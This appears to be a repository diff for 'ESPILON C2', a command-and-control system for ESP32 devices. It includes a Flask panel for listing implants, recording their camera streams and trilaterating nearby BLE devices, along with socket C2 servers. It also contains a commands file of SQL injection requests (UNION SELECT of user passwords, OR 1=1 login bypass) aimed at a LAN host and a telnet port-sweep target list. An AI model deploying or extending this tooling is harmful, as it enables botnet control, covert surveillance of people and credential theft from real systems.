# Disable Flask/Werkzeug request logging
|
||||
logging.getLogger('werkzeug').setLevel(logging.ERROR)
|
||||
|
||||
|
||||
class UnifiedWebServer:
|
||||
"""
|
||||
Unified Flask-based web server for ESPILON C2.
|
||||
|
||||
Provides:
|
||||
- Dashboard: View connected ESP32 devices
|
||||
- Cameras: View live camera streams with recording
|
||||
- Trilateration: Visualize BLE device positioning
|
||||
"""
|
||||
|
||||
def __init__(self,
|
||||
host: str = "0.0.0.0",
|
||||
port: int = 8000,
|
||||
image_dir: str = "static/streams",
|
||||
username: str = "admin",
|
||||
password: str = "admin",
|
||||
secret_key: str = "change_this_for_prod",
|
||||
multilat_token: str = "multilat_secret_token",
|
||||
device_registry=None,
|
||||
mlat_engine: Optional[MlatEngine] = None,
|
||||
camera_receiver=None):
|
||||
"""
|
||||
Initialize the unified web server.
|
||||
|
||||
Args:
|
||||
host: Host to bind the server
|
||||
port: Port for the web server
|
||||
image_dir: Directory containing camera frame images
|
||||
username: Login username
|
||||
password: Login password
|
||||
secret_key: Flask session secret key
|
||||
multilat_token: Bearer token for MLAT API
|
||||
device_registry: DeviceRegistry instance for device listing
|
||||
mlat_engine: MlatEngine instance (created if None)
|
||||
camera_receiver: UDPReceiver instance for camera control
|
||||
"""
|
||||
self.host = host
|
||||
self.port = port
|
||||
self.image_dir = image_dir
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.secret_key = secret_key
|
||||
self.multilat_token = multilat_token
|
||||
self.device_registry = device_registry
|
||||
self.mlat = mlat_engine or MlatEngine()
|
||||
self.camera_receiver = camera_receiver
|
||||
|
||||
# Ensure image directory exists
|
||||
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
full_image_dir = os.path.join(c2_root, self.image_dir)
|
||||
os.makedirs(full_image_dir, exist_ok=True)
|
||||
|
||||
self._app = self._create_app()
|
||||
self._server = None
|
||||
self._thread = None
|
||||
|
||||
def set_camera_receiver(self, receiver):
|
||||
"""Set the camera receiver after initialization."""
|
||||
self.camera_receiver = receiver
|
||||
|
||||
@property
|
||||
def is_running(self) -> bool:
|
||||
return self._thread is not None and self._thread.is_alive()
|
||||
|
||||
def _create_app(self) -> Flask:
|
||||
"""Create and configure the Flask application."""
|
||||
c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
template_dir = os.path.join(c2_root, "templates")
|
||||
static_dir = os.path.join(c2_root, "static")
|
||||
|
||||
app = Flask(__name__,
|
||||
template_folder=template_dir,
|
||||
static_folder=static_dir)
|
||||
app.secret_key = self.secret_key
|
||||
|
||||
web_server = self
|
||||
|
||||
# ========== Auth Decorators ==========
|
||||
|
||||
def require_login(f):
|
||||
@wraps(f)
|
||||
def decorated(*args, **kwargs):
|
||||
if not session.get("logged_in"):
|
||||
return redirect(url_for("login"))
|
||||
return f(*args, **kwargs)
|
||||
return decorated
|
||||
|
||||
def require_api_auth(f):
|
||||
@wraps(f)
|
||||
def decorated(*args, **kwargs):
|
||||
if session.get("logged_in"):
|
||||
return f(*args, **kwargs)
|
||||
|
||||
auth_header = request.headers.get("Authorization", "")
|
||||
if auth_header.startswith("Bearer "):
|
||||
token = auth_header[7:]
|
||||
if token == web_server.multilat_token:
|
||||
return f(*args, **kwargs)
|
||||
|
||||
return jsonify({"error": "Unauthorized"}), 401
|
||||
return decorated
|
||||
|
||||
# ========== Auth Routes ==========
|
||||
|
||||
@app.route("/login", methods=["GET", "POST"])
|
||||
def login():
|
||||
error = None
|
||||
if request.method == "POST":
|
||||
username = request.form.get("username")
|
||||
password = request.form.get("password")
|
||||
if username == web_server.username and password == web_server.password:
|
||||
session["logged_in"] = True
|
||||
return redirect(url_for("dashboard"))
|
||||
else:
|
||||
error = "Invalid credentials."
|
||||
return render_template("login.html", error=error)
|
||||
|
||||
@app.route("/logout")
|
||||
def logout():
|
||||
session.pop("logged_in", None)
|
||||
return redirect(url_for("login"))
|
||||
|
||||
# ========== Page Routes ==========
|
||||
|
||||
@app.route("/")
|
||||
@require_login
|
||||
def index():
|
||||
return redirect(url_for("dashboard"))
|
||||
|
||||
@app.route("/dashboard")
|
||||
@require_login
|
||||
def dashboard():
|
||||
return render_template("dashboard.html", active_page="dashboard")
|
||||
|
||||
@app.route("/cameras")
|
||||
@require_login
|
||||
def cameras():
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
try:
|
||||
image_files = sorted([
|
||||
f for f in os.listdir(full_image_dir)
|
||||
if f.endswith(".jpg")
|
||||
])
|
||||
except FileNotFoundError:
|
||||
image_files = []
|
||||
|
||||
return render_template("cameras.html", active_page="cameras", image_files=image_files)
|
||||
|
||||
@app.route("/mlat")
|
||||
@require_login
|
||||
def mlat():
|
||||
return render_template("mlat.html", active_page="mlat")
|
||||
|
||||
# ========== Static Files ==========
|
||||
|
||||
@app.route("/streams/<filename>")
|
||||
@require_login
|
||||
def stream_image(filename):
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
return send_from_directory(full_image_dir, filename)
|
||||
|
||||
@app.route("/recordings/<filename>")
|
||||
@require_login
|
||||
def download_recording(filename):
|
||||
recordings_dir = os.path.join(c2_root, "static", "recordings")
|
||||
return send_from_directory(recordings_dir, filename, as_attachment=True)
|
||||
|
||||
# ========== Device API ==========
|
||||
|
||||
@app.route("/api/devices")
|
||||
@require_api_auth
|
||||
def api_devices():
|
||||
if web_server.device_registry is None:
|
||||
return jsonify({"error": "Device registry not available", "devices": []})
|
||||
|
||||
now = time.time()
|
||||
devices = []
|
||||
|
||||
for d in web_server.device_registry.all():
|
||||
devices.append({
|
||||
"id": d.id,
|
||||
"ip": d.address[0] if d.address else "unknown",
|
||||
"port": d.address[1] if d.address else 0,
|
||||
"status": d.status,
|
||||
"connected_at": d.connected_at,
|
||||
"last_seen": d.last_seen,
|
||||
"connected_for_seconds": round(now - d.connected_at, 1),
|
||||
"last_seen_ago_seconds": round(now - d.last_seen, 1)
|
||||
})
|
||||
|
||||
return jsonify({
|
||||
"devices": devices,
|
||||
"count": len(devices)
|
||||
})
|
||||
|
||||
# ========== Camera API ==========
|
||||
|
||||
@app.route("/api/cameras")
|
||||
@require_api_auth
|
||||
def api_cameras():
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
try:
|
||||
cameras = [
|
||||
f.replace(".jpg", "")
|
||||
for f in os.listdir(full_image_dir)
|
||||
if f.endswith(".jpg")
|
||||
]
|
||||
except FileNotFoundError:
|
||||
cameras = []
|
||||
|
||||
# Add recording status if receiver available
|
||||
result = {"cameras": [], "count": len(cameras)}
|
||||
for cam_id in cameras:
|
||||
cam_info = {"id": cam_id, "recording": False}
|
||||
if web_server.camera_receiver:
|
||||
status = web_server.camera_receiver.get_recording_status(cam_id)
|
||||
cam_info["recording"] = status.get("recording", False)
|
||||
cam_info["filename"] = status.get("filename")
|
||||
result["cameras"].append(cam_info)
|
||||
|
||||
result["count"] = len(result["cameras"])
|
||||
return jsonify(result)
|
||||
|
||||
# ========== Recording API ==========
|
||||
|
||||
@app.route("/api/recording/start/<camera_id>", methods=["POST"])
|
||||
@require_api_auth
|
||||
def api_recording_start(camera_id):
|
||||
if not web_server.camera_receiver:
|
||||
return jsonify({"error": "Camera receiver not available"}), 503
|
||||
|
||||
result = web_server.camera_receiver.start_recording(camera_id)
|
||||
if "error" in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
@app.route("/api/recording/stop/<camera_id>", methods=["POST"])
|
||||
@require_api_auth
|
||||
def api_recording_stop(camera_id):
|
||||
if not web_server.camera_receiver:
|
||||
return jsonify({"error": "Camera receiver not available"}), 503
|
||||
|
||||
result = web_server.camera_receiver.stop_recording(camera_id)
|
||||
if "error" in result:
|
||||
return jsonify(result), 400
|
||||
return jsonify(result)
|
||||
|
||||
@app.route("/api/recording/status")
|
||||
@require_api_auth
|
||||
def api_recording_status():
|
||||
if not web_server.camera_receiver:
|
||||
return jsonify({"error": "Camera receiver not available"}), 503
|
||||
|
||||
camera_id = request.args.get("camera_id")
|
||||
return jsonify(web_server.camera_receiver.get_recording_status(camera_id))
|
||||
|
||||
@app.route("/api/recordings")
|
||||
@require_api_auth
|
||||
def api_recordings_list():
|
||||
if not web_server.camera_receiver:
|
||||
return jsonify({"recordings": []})
|
||||
|
||||
return jsonify({"recordings": web_server.camera_receiver.list_recordings()})
|
||||
|
||||
# ========== Trilateration API ==========
|
||||
|
||||
@app.route("/api/mlat/collect", methods=["POST"])
|
||||
@require_api_auth
|
||||
def api_mlat_collect():
|
||||
raw_data = request.get_data(as_text=True)
|
||||
count = web_server.mlat.parse_data(raw_data)
|
||||
|
||||
if count > 0:
|
||||
web_server.mlat.calculate_position()
|
||||
|
||||
return jsonify({
|
||||
"status": "ok",
|
||||
"readings_processed": count
|
||||
})
|
||||
|
||||
@app.route("/api/mlat/state")
|
||||
@require_api_auth
|
||||
def api_mlat_state():
|
||||
state = web_server.mlat.get_state()
|
||||
|
||||
if state["target"] is None and state["scanners_count"] >= 3:
|
||||
result = web_server.mlat.calculate_position()
|
||||
if "position" in result:
|
||||
state["target"] = {
|
||||
"position": result["position"],
|
||||
"confidence": result.get("confidence", 0),
|
||||
"calculated_at": result.get("calculated_at", time.time()),
|
||||
"age_seconds": 0
|
||||
}
|
||||
|
||||
return jsonify(state)
|
||||
|
||||
@app.route("/api/mlat/config", methods=["GET", "POST"])
|
||||
@require_api_auth
|
||||
def api_mlat_config():
|
||||
if request.method == "POST":
|
||||
data = request.get_json() or {}
|
||||
web_server.mlat.update_config(
|
||||
rssi_at_1m=data.get("rssi_at_1m"),
|
||||
path_loss_n=data.get("path_loss_n"),
|
||||
smoothing_window=data.get("smoothing_window")
|
||||
)
|
||||
|
||||
return jsonify({
|
||||
"rssi_at_1m": web_server.mlat.rssi_at_1m,
|
||||
"path_loss_n": web_server.mlat.path_loss_n,
|
||||
"smoothing_window": web_server.mlat.smoothing_window
|
||||
})
|
||||
|
||||
@app.route("/api/mlat/clear", methods=["POST"])
|
||||
@require_api_auth
|
||||
def api_mlat_clear():
|
||||
web_server.mlat.clear()
|
||||
return jsonify({"status": "ok"})
|
||||
|
||||
# ========== Stats API ==========
|
||||
|
||||
@app.route("/api/stats")
|
||||
@require_api_auth
|
||||
def api_stats():
|
||||
full_image_dir = os.path.join(c2_root, web_server.image_dir)
|
||||
try:
|
||||
camera_count = len([
|
||||
f for f in os.listdir(full_image_dir)
|
||||
if f.endswith(".jpg")
|
||||
])
|
||||
except FileNotFoundError:
|
||||
camera_count = 0
|
||||
|
||||
device_count = 0
|
||||
if web_server.device_registry:
|
||||
device_count = len(list(web_server.device_registry.all()))
|
||||
|
||||
multilat_state = web_server.mlat.get_state()
|
||||
|
||||
return jsonify({
|
||||
"active_cameras": camera_count,
|
||||
"connected_devices": device_count,
|
||||
"multilateration_scanners": multilat_state["scanners_count"],
|
||||
"server_running": True
|
||||
})
|
||||
|
||||
return app
|
||||
|
||||
def start(self) -> bool:
|
||||
"""Start the web server in a background thread."""
|
||||
if self.is_running:
|
||||
return False
|
||||
|
||||
self._server = make_server(self.host, self.port, self._app, threaded=True)
|
||||
self._thread = threading.Thread(target=self._server.serve_forever, daemon=True)
|
||||
self._thread.start()
|
||||
return True
|
||||
|
||||
def stop(self):
|
||||
"""Stop the web server."""
|
||||
if self._server:
|
||||
self._server.shutdown()
|
||||
self._server = None
|
||||
self._thread = None
|
||||
|
||||
def get_url(self) -> str:
|
||||
"""Get the server URL."""
|
||||
return f"http://{self.host}:{self.port}"
|
||||
@ -1,14 +0,0 @@
|
||||
# Command & Controll
|
||||
|
||||
Code refacto dans .tools/c2 a finir Trilateration -> multilateration
|
||||
|
||||
Run c3po.py and ur c2 are up on port 2626 u can edit it on /utils/constant.py
|
||||
|
||||
Je dois faire cette doc
|
||||
|
||||
( J'ai refacto le code dans [Click Here](../c2/README.md))
|
||||
|
||||
## Authors
|
||||
|
||||
- @off-path (Main dev c2)
|
||||
- @Eun0us (Trillateration implementation + proto buff)
|
||||
@ -1,162 +0,0 @@
|
||||
import base64
|
||||
import socket
|
||||
import threading
|
||||
import os
|
||||
from utils.espilon_pb2 import ESPMessage, C2Command
|
||||
from utils.chacha20 import crypt
|
||||
from utils.manager import add_to_group, remove_group, remove_esp_from_group
|
||||
from utils.utils import _print_status, _find_client
|
||||
from utils.reboot import reboot
|
||||
from utils.cli import _setup_cli, _color, cli_interface
|
||||
from tools.c2.utils.constant import HOST, PORT, COMMANDS
|
||||
|
||||
from utils.message_process import process_esp_message
|
||||
|
||||
|
||||
class C2Server:
|
||||
def __init__(self):
|
||||
self.clients = {}
|
||||
self.groups = {}
|
||||
|
||||
self.clients_ids = {}
|
||||
|
||||
# For response synchronization
|
||||
self.response_events = {}
|
||||
self.response_data = {}
|
||||
|
||||
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
self.server.bind((HOST, PORT))
|
||||
self.server.listen(5)
|
||||
|
||||
_setup_cli(self)
|
||||
self._start_server()
|
||||
|
||||
# ---------- Core Server Functions ----------
|
||||
def _start_server(self):
|
||||
print(f"\n{_color('GREEN')}[*] Server is listening on {HOST}:{PORT}{_color('RESET')}")
|
||||
threading.Thread(target=self._accept_clients, daemon=True).start()
|
||||
cli_interface(self)
|
||||
|
||||
def _accept_clients(self):
|
||||
while True:
|
||||
client_socket, client_address = self.server.accept()
|
||||
threading.Thread(target=self._handle_client, args=(client_socket, client_address)).start()
|
||||
|
||||
def _handle_client(self, client_socket, client_address):
|
||||
self._close_existing_client(client_address)
|
||||
self.clients[client_address] = client_socket
|
||||
_print_status(f"New client connected : {client_address}", "GREEN")
|
||||
|
||||
# Initialize event for this client
|
||||
self.response_events[client_address] = threading.Event()
|
||||
self.response_data[client_address] = None
|
||||
|
||||
while True:
|
||||
try:
|
||||
message = client_socket.recv(4096)
|
||||
if not message:
|
||||
break
|
||||
|
||||
try:
|
||||
process_esp_message(self, client_address, message)
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error during decryption: {e}")
|
||||
continue
|
||||
|
||||
except (ConnectionResetError, BrokenPipeError):
|
||||
break
|
||||
|
||||
_print_status(f"Client {client_address} disconnected", "RED")
|
||||
self.clients.pop(client_address, None)
|
||||
if client_address in self.response_events:
|
||||
del self.response_events[client_address]
|
||||
if client_address in self.response_data:
|
||||
del self.response_data[client_address]
|
||||
client_socket.close()
|
||||
|
||||
# ---------- Client Management ----------
|
||||
def _close_existing_client(self, client_address):
|
||||
if client_address in self.clients:
|
||||
self.clients[client_address].close()
|
||||
del self.clients[client_address]
|
||||
_print_status(f"Client {client_address} disconnected", "RED")
|
||||
|
||||
|
||||
# ---------- CLI Interface ----------
|
||||
def _complete(self, text, state):
|
||||
if text.startswith("reboot "):
|
||||
options = [addr[0] for addr in self.clients.keys() if addr[0].startswith(text[7:])]
|
||||
options.append("all")
|
||||
options.extend(self.groups.keys())
|
||||
elif text.startswith("add_group "):
|
||||
options = [addr[0] for addr in self.clients.keys() if addr[0].startswith(text[10:])]
|
||||
elif text.startswith("remove_group "):
|
||||
options = [group for group in self.groups.keys() if group.startswith(text[13:])]
|
||||
elif text.startswith("remove_esp_from "):
|
||||
parts = text.split()
|
||||
if len(parts) >= 2 and parts[1] in self.groups:
|
||||
options = self.groups[parts[1]]
|
||||
else:
|
||||
options = [cmd for cmd in COMMANDS if cmd.startswith(text)]
|
||||
|
||||
return options[state] if state < len(options) else None
|
||||
|
||||
def _handle_reboot(self, parts):
|
||||
if len(parts) != 2:
|
||||
_print_status("Invalid command. Use 'reboot <id_esp32>', 'reboot all', or 'reboot <group>'", "RED", "⚠")
|
||||
return
|
||||
|
||||
target = parts[1]
|
||||
if target == "all":
|
||||
reboot(self, mode="all")
|
||||
elif target in self.groups:
|
||||
reboot(self, target, mode="group")
|
||||
else:
|
||||
client = _find_client(self, target)
|
||||
if client:
|
||||
reboot(self, client, mode="single")
|
||||
else:
|
||||
_print_status(f"Client with ID {target} not found", "RED", "⚠")
|
||||
|
||||
def _handle_add_group(self, parts):
|
||||
if len(parts) != 3:
|
||||
_print_status("Invalid command. Use 'add_group <group> <id_esp32>'", "RED", "⚠")
|
||||
return
|
||||
|
||||
group_name, client_id = parts[1], parts[2]
|
||||
client = _find_client(self, client_id)
|
||||
|
||||
if client:
|
||||
add_to_group(self, group_name, client)
|
||||
else:
|
||||
_print_status(f"Client with ID {client_id} not found", "RED", "⚠")
|
||||
|
||||
def _handle_remove_group(self, parts):
|
||||
if len(parts) != 2:
|
||||
_print_status(" Invalid command. Use 'remove_group <group>'", "RED", "⚠")
|
||||
return
|
||||
remove_group(self, parts[1])
|
||||
|
||||
def _handle_remove_esp_from(self, parts):
|
||||
if len(parts) < 3:
|
||||
_print_status(" Invalid command. Use 'remove_esp_from <group> <esp>[,<esp>...]'", "RED", "⚠")
|
||||
return
|
||||
|
||||
group_name = parts[1]
|
||||
esp_list = []
|
||||
for part in parts[2:]:
|
||||
esp_list.extend(part.split(','))
|
||||
|
||||
remove_esp_from_group(self, group_name, esp_list)
|
||||
|
||||
def _shutdown(self):
|
||||
_print_status(" Closing server ...", "YELLOW", "✋")
|
||||
for client in list(self.clients.values()):
|
||||
client.close()
|
||||
self.server.close()
|
||||
os._exit(0)
|
||||
|
||||
if __name__ == "__main__":
|
||||
C2Server()
|
||||
@ -1,31 +0,0 @@
|
||||
from dataclasses import dataclass, field
|
||||
import socket
|
||||
import time
|
||||
|
||||
|
||||
@dataclass
|
||||
class Device:
|
||||
"""
|
||||
Représente un ESP32 connecté au serveur
|
||||
"""
|
||||
id: str
|
||||
sock: socket.socket
|
||||
address: tuple[str, int]
|
||||
|
||||
connected_at: float = field(default_factory=time.time)
|
||||
last_seen: float = field(default_factory=time.time)
|
||||
|
||||
def touch(self):
|
||||
"""
|
||||
Met à jour la date de dernière activité
|
||||
"""
|
||||
self.last_seen = time.time()
|
||||
|
||||
def close(self):
|
||||
"""
|
||||
Ferme proprement la connexion
|
||||
"""
|
||||
try:
|
||||
self.sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
@ -1,67 +0,0 @@
|
||||
import threading
|
||||
from typing import Dict, List, Optional
|
||||
from core.device import Device
|
||||
|
||||
|
||||
class DeviceRegistry:
|
||||
"""
|
||||
Registre central des ESP connectés.
|
||||
Clé primaire : esp_id
|
||||
"""
|
||||
def __init__(self):
|
||||
self._devices: Dict[str, Device] = {}
|
||||
self._lock = threading.Lock()
|
||||
|
||||
# ---------- Gestion des devices ----------
|
||||
|
||||
def add(self, device: Device) -> None:
|
||||
"""
|
||||
Ajoute ou remplace un device (reconnexion)
|
||||
"""
|
||||
with self._lock:
|
||||
self._devices[device.id] = device
|
||||
|
||||
def remove(self, esp_id: str) -> None:
|
||||
"""
|
||||
Supprime un device par ID
|
||||
"""
|
||||
with self._lock:
|
||||
device = self._devices.pop(esp_id, None)
|
||||
if device:
|
||||
device.close()
|
||||
|
||||
def get(self, esp_id: str) -> Optional[Device]:
|
||||
"""
|
||||
Récupère un device par ID
|
||||
"""
|
||||
with self._lock:
|
||||
return self._devices.get(esp_id)
|
||||
|
||||
def all(self) -> List[Device]:
|
||||
"""
|
||||
Retourne la liste de tous les devices
|
||||
"""
|
||||
with self._lock:
|
||||
return list(self._devices.values())
|
||||
|
||||
def ids(self) -> List[str]:
|
||||
"""
|
||||
Retourne la liste des IDs ESP (pour CLI / tabulation)
|
||||
"""
|
||||
with self._lock:
|
||||
return list(self._devices.keys())
|
||||
|
||||
# ---------- Utilitaires ----------
|
||||
|
||||
def exists(self, esp_id: str) -> bool:
|
||||
with self._lock:
|
||||
return esp_id in self._devices
|
||||
|
||||
def touch(self, esp_id: str) -> None:
|
||||
"""
|
||||
Met à jour last_seen d’un ESP
|
||||
"""
|
||||
with self._lock:
|
||||
device = self._devices.get(esp_id)
|
||||
if device:
|
||||
device.touch()
|
||||
@ -1,5 +0,0 @@
|
||||
192.168.1.155:5000|GET /search?id=1%20UNION%20SELECT%20NULL,NULL,password%20FROM%20users HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
|
||||
192.168.1.155:5000|GET /login?user=admin&pass=%27%20OR%201%3D1%20--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
|
||||
192.168.1.155:5000|GET /search?q=%27%20UNION%20SELECT%20NULL--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
|
||||
192.168.1.155:5000|GET /product?id=1%27%20AND%201%3DCONVERT%28int%2C@@version%29--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n
|
||||
82.67.142.175:22|SSH_CHECK
|
||||
@ -1,64 +0,0 @@
|
||||
import socket
|
||||
import threading
|
||||
import time
|
||||
|
||||
clients = {}
|
||||
lock = threading.Lock()
|
||||
|
||||
def load_all_commands(filename="commands.txt"):
|
||||
try:
|
||||
with open(filename, "r") as f:
|
||||
return [line.strip() for line in f if line.strip()]
|
||||
except FileNotFoundError:
|
||||
print(f"[!] File {filename} not found.")
|
||||
return []
|
||||
|
||||
def handle_client(client_socket, address):
|
||||
client_id = f"{address[0]}:{address[1]}"
|
||||
print(f"[+] New client connected : {client_id}")
|
||||
|
||||
with lock:
|
||||
clients[client_id] = client_socket
|
||||
|
||||
commands = load_all_commands()
|
||||
|
||||
try:
|
||||
for cmd in commands:
|
||||
print(f"[→] Send to {client_id} : {cmd}")
|
||||
client_socket.sendall((cmd + "\n").encode())
|
||||
|
||||
# Attente de la réponse du client avant de continuer
|
||||
data = client_socket.recv(4096)
|
||||
if not data:
|
||||
print(f"[!] Client {client_id} has closed connexion.")
|
||||
break
|
||||
print(f"[←] Résponse from {client_id} : {data.decode(errors='ignore')}")
|
||||
|
||||
except Exception as e:
|
||||
print(f"[!] Error with {client_id} : {e}")
|
||||
|
||||
finally:
|
||||
with lock:
|
||||
if client_id in clients:
|
||||
del clients[client_id]
|
||||
client_socket.close()
|
||||
print(f"[-] Client disconnected : {client_id}")
|
||||
|
||||
def accept_connections(server_socket):
|
||||
while True:
|
||||
client_socket, addr = server_socket.accept()
|
||||
threading.Thread(target=handle_client, args=(client_socket, addr), daemon=True).start()
|
||||
|
||||
def start_server(host="0.0.0.0", port=2021):
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server.bind((host, port))
|
||||
server.listen(5)
|
||||
print(f"[Server] Listening on {host}:{port}")
|
||||
|
||||
threading.Thread(target=accept_connections, args=(server,), daemon=True).start()
|
||||
|
||||
while True:
|
||||
time.sleep(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
start_server()
|
||||
@ -1,254 +0,0 @@
|
||||
192.168.1.1:23|PORT_CHECK
|
||||
192.168.1.2:23|PORT_CHECK
|
||||
192.168.1.3:23|PORT_CHECK
|
||||
192.168.1.4:23|PORT_CHECK
|
||||
192.168.1.5:23|PORT_CHECK
|
||||
192.168.1.6:23|PORT_CHECK
|
||||
192.168.1.7:23|PORT_CHECK
|
||||
192.168.1.8:23|PORT_CHECK
|
||||
192.168.1.9:23|PORT_CHECK
|
||||
192.168.1.10:23|PORT_CHECK
|
||||
192.168.1.11:23|PORT_CHECK
|
||||
192.168.1.12:23|PORT_CHECK
|
||||
192.168.1.13:23|PORT_CHECK
|
||||
192.168.1.14:23|PORT_CHECK
|
||||
192.168.1.15:23|PORT_CHECK
|
||||
192.168.1.16:23|PORT_CHECK
|
||||
192.168.1.17:23|PORT_CHECK
|
||||
192.168.1.18:23|PORT_CHECK
|
||||
192.168.1.19:23|PORT_CHECK
|
||||
192.168.1.20:23|PORT_CHECK
|
||||
192.168.1.21:23|PORT_CHECK
|
||||
192.168.1.22:23|PORT_CHECK
|
||||
192.168.1.23:23|PORT_CHECK
|
||||
192.168.1.24:23|PORT_CHECK
|
||||
192.168.1.25:23|PORT_CHECK
|
||||
192.168.1.26:23|PORT_CHECK
|
||||
192.168.1.27:23|PORT_CHECK
|
||||
192.168.1.28:23|PORT_CHECK
|
||||
192.168.1.29:23|PORT_CHECK
|
||||
192.168.1.30:23|PORT_CHECK
|
||||
192.168.1.31:23|PORT_CHECK
|
||||
192.168.1.32:23|PORT_CHECK
|
||||
192.168.1.33:23|PORT_CHECK
|
||||
192.168.1.34:23|PORT_CHECK
|
||||
192.168.1.35:23|PORT_CHECK
|
||||
192.168.1.36:23|PORT_CHECK
|
||||
192.168.1.37:23|PORT_CHECK
|
||||
192.168.1.38:23|PORT_CHECK
|
||||
192.168.1.39:23|PORT_CHECK
|
||||
192.168.1.40:23|PORT_CHECK
|
||||
192.168.1.41:23|PORT_CHECK
|
||||
192.168.1.42:23|PORT_CHECK
|
||||
192.168.1.43:23|PORT_CHECK
|
||||
192.168.1.44:23|PORT_CHECK
|
||||
192.168.1.45:23|PORT_CHECK
|
||||
192.168.1.46:23|PORT_CHECK
|
||||
192.168.1.47:23|PORT_CHECK
|
||||
192.168.1.48:23|PORT_CHECK
|
||||
192.168.1.49:23|PORT_CHECK
|
||||
192.168.1.50:23|PORT_CHECK
|
||||
192.168.1.51:23|PORT_CHECK
|
||||
192.168.1.52:23|PORT_CHECK
|
||||
192.168.1.53:23|PORT_CHECK
|
||||
192.168.1.54:23|PORT_CHECK
|
||||
192.168.1.55:23|PORT_CHECK
|
||||
192.168.1.56:23|PORT_CHECK
|
||||
192.168.1.57:23|PORT_CHECK
|
||||
192.168.1.58:23|PORT_CHECK
|
||||
192.168.1.59:23|PORT_CHECK
|
||||
192.168.1.60:23|PORT_CHECK
|
||||
192.168.1.61:23|PORT_CHECK
|
||||
192.168.1.62:23|PORT_CHECK
|
||||
192.168.1.63:23|PORT_CHECK
|
||||
192.168.1.64:23|PORT_CHECK
|
||||
192.168.1.65:23|PORT_CHECK
|
||||
192.168.1.66:23|PORT_CHECK
|
||||
192.168.1.67:23|PORT_CHECK
|
||||
192.168.1.68:23|PORT_CHECK
|
||||
192.168.1.69:23|PORT_CHECK
|
||||
192.168.1.70:23|PORT_CHECK
|
||||
192.168.1.71:23|PORT_CHECK
|
||||
192.168.1.72:23|PORT_CHECK
|
||||
192.168.1.73:23|PORT_CHECK
|
||||
192.168.1.74:23|PORT_CHECK
|
||||
192.168.1.75:23|PORT_CHECK
|
||||
192.168.1.76:23|PORT_CHECK
|
||||
192.168.1.77:23|PORT_CHECK
|
||||
192.168.1.78:23|PORT_CHECK
|
||||
192.168.1.79:23|PORT_CHECK
|
||||
192.168.1.80:23|PORT_CHECK
|
||||
192.168.1.81:23|PORT_CHECK
|
||||
192.168.1.82:23|PORT_CHECK
|
||||
192.168.1.83:23|PORT_CHECK
|
||||
192.168.1.84:23|PORT_CHECK
|
||||
192.168.1.85:23|PORT_CHECK
|
||||
192.168.1.86:23|PORT_CHECK
|
||||
192.168.1.87:23|PORT_CHECK
|
||||
192.168.1.88:23|PORT_CHECK
|
||||
192.168.1.89:23|PORT_CHECK
|
||||
192.168.1.90:23|PORT_CHECK
|
||||
192.168.1.91:23|PORT_CHECK
|
||||
192.168.1.92:23|PORT_CHECK
|
||||
192.168.1.93:23|PORT_CHECK
|
||||
192.168.1.94:23|PORT_CHECK
|
||||
192.168.1.95:23|PORT_CHECK
|
||||
192.168.1.96:23|PORT_CHECK
|
||||
192.168.1.97:23|PORT_CHECK
|
||||
192.168.1.98:23|PORT_CHECK
|
||||
192.168.1.99:23|PORT_CHECK
|
||||
192.168.1.100:23|PORT_CHECK
|
||||
192.168.1.101:23|PORT_CHECK
|
||||
192.168.1.102:23|PORT_CHECK
|
||||
192.168.1.103:23|PORT_CHECK
|
||||
192.168.1.104:23|PORT_CHECK
|
||||
192.168.1.105:23|PORT_CHECK
|
||||
192.168.1.106:23|PORT_CHECK
|
||||
192.168.1.107:23|PORT_CHECK
|
||||
192.168.1.108:23|PORT_CHECK
|
||||
192.168.1.109:23|PORT_CHECK
|
||||
192.168.1.110:23|PORT_CHECK
|
||||
192.168.1.111:23|PORT_CHECK
|
||||
192.168.1.112:23|PORT_CHECK
|
||||
192.168.1.113:23|PORT_CHECK
|
||||
192.168.1.114:23|PORT_CHECK
|
||||
192.168.1.115:23|PORT_CHECK
|
||||
192.168.1.116:23|PORT_CHECK
|
||||
192.168.1.117:23|PORT_CHECK
|
||||
192.168.1.118:23|PORT_CHECK
|
||||
192.168.1.119:23|PORT_CHECK
|
||||
192.168.1.120:23|PORT_CHECK
|
||||
192.168.1.121:23|PORT_CHECK
|
||||
192.168.1.122:23|PORT_CHECK
|
||||
192.168.1.123:23|PORT_CHECK
|
||||
192.168.1.124:23|PORT_CHECK
|
||||
192.168.1.125:23|PORT_CHECK
|
||||
192.168.1.126:23|PORT_CHECK
|
||||
192.168.1.127:23|PORT_CHECK
|
||||
192.168.1.128:23|PORT_CHECK
|
||||
192.168.1.129:23|PORT_CHECK
|
||||
192.168.1.130:23|PORT_CHECK
|
||||
192.168.1.131:23|PORT_CHECK
|
||||
192.168.1.132:23|PORT_CHECK
|
||||
192.168.1.133:23|PORT_CHECK
|
||||
192.168.1.134:23|PORT_CHECK
|
||||
192.168.1.135:23|PORT_CHECK
|
||||
192.168.1.136:23|PORT_CHECK
|
||||
192.168.1.137:23|PORT_CHECK
|
||||
192.168.1.138:23|PORT_CHECK
|
||||
192.168.1.139:23|PORT_CHECK
|
||||
192.168.1.140:23|PORT_CHECK
|
||||
192.168.1.141:23|PORT_CHECK
|
||||
192.168.1.142:23|PORT_CHECK
|
||||
192.168.1.143:23|PORT_CHECK
|
||||
192.168.1.144:23|PORT_CHECK
|
||||
192.168.1.145:23|PORT_CHECK
|
||||
